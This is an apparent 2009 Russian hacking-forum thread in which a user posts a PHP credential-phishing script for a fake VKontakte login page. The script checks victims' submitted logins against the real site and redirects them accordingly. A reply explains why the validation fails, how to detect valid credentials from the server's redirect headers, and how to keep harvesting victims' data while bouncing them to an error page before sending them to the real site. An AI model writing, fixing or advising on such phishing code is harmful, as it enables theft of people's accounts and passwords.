Не работает скрипт авторизации на фейке

Discussion in 'PHP' started by selevit, 15 Oct 2009.

  1. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    Всем доброго времени суток, вот скрипт авторизации,
    который почему то не пашет посмотрите пожалуйста, где ошибки.
    PHP:
    <?

    function 
    vk_login($login,$pass

    $login urlencode($login); 
    $pass urlencode($pass); 

    $ch curl_init('http://login.vk.com/?act=login'); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'); 
    curl_setopt($chCURLOPT_TIMEOUT10); 
    curl_setopt($chCURLOPT_REFERER'http://vkontakte.ru/'); 
    curl_setopt($chCURLOPT_POST1); 
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    curl_setopt($chCURLOPT_POSTFIELDS"email=$login&pass=$pass&expire=&vk="); 
    $res curl_exec($ch); 

    if(
    preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s)) 
    return 
    $s[1]; 
    else return 
    false


    $email $_POST['login'];
    $password $_POST['passwd'];


    if(!
    vk_login($email$password)) {
            echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=bad.htm'></head></html>";
        } else {
            echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>";
        
    }



    ?>
    подскажите ошибку плиз, один хер перебрасывает на bad.htm, какие бы данные не вводил.
     
    3 people like this.
  2. WVBR

    WVBR Elder - Старейшина

    Joined:
    14 Feb 2008
    Messages:
    45
    Likes Received:
    17
    Reputations:
    0
    нет ошибок
    просто vkontakte
    сделали редирект через хидер
    и на странице
    http://login.vk.com/?act=login
    не будет ни каких писанин типа
    if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
    поэтому что бы не вводили в фейк
    будет бедхтм

    нужно искать другой способ определения валидности данных
    К примеру вот какой хидер когда на послали не правильный логин-пас
    Location: http://vkontakte.ru/login.php?m=1&email=marina-bryushinina%40yandex.ru
    а вот что когда правильный
    Location: пусто
    Set-Cookie: remixchk=5; expires=Mon, 25-Oct-2010 21:03:36 GMT; path=/; domain=.vkontakte.ru

    то есть тебе надо переформулировать вопрос так
    как определить Location возвращаемый удалённым сервером


    ну или не проверять валидность вовсе... просто пару раз перекинуть на бед хтм
    а все данные от юзверя при этом сохранять, а на третий раз перенаправлять на настоящий контакт .. типа так
     
    #2 WVBR, 15 Oct 2009
    Last edited: 15 Oct 2009
  3. Sharky

    Sharky Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    487
    Likes Received:
    312
    Reputations:
    46
    selevit, ты чё велемир №2 ? Будешь для каждого тупого вопроса новую тему создавать? Есть тема для тупых вопросов http://forum.antichat.ru/thread40896.html , а вобще мог бы и сам мозгами пораскинуть
     
  4. selevit

    selevit Banned

    Joined:
    19 Aug 2009
    Messages:
    95
    Likes Received:
    9
    Reputations:
    -3
    проблемы индейцев шерифа не еб*т :D